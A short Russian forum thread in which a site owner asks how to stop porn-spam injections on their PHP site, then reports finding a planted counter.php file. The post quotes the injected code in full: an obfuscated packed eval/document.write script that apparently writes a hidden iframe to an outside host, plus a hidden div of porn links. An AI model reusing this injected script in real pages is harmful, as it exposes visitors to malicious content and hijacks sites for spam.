как бороться с вставками парнухи <script>

[Piloan]

при обновление странице на сервере, в инете (index.php) появляется вверху строка с рекламой парнухи типа <noindex><script>eval(function(p,a,c,k,e,r){e=function©{return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e©]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-9a-k]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c]);return p}('document.write(unescape(\'%d%5%8%0%2%9%1%3%77%5%a%6%7%4%e%3%7%1%5%67%7%6%4%e%3%f%g%0%a%1%0%4%h%3%8%0%2%9%1%f%g%0%a%1%0%4%h%3%i%0%b%4%j%7%6%6%70%3A%c%c%2%6E%2%6C%79%i%1%2E%b%b%j%k%d%c%5%8%0%2%9%1%k\'));',[],21,'72|65|61|20|3D|69|74|68|66|6D|64|63|2F|3C|31|62|6F|30|73|22|3E'.split('|'),0,{}))</script></noindex>
<div style="OVERFLOW: auto; HEIGHT: 1px">
<a href="http://........sex-porno.......">teen porno video............ и так далее div>



не могу найти откуда она появляется. кто нибудь встречался с такой фигней?

[Piloan]

кто то засунул в директорию tmp файл counter.php с кодом скрипта

[Piloan]

всем спасибо, разобрался, тема закрыта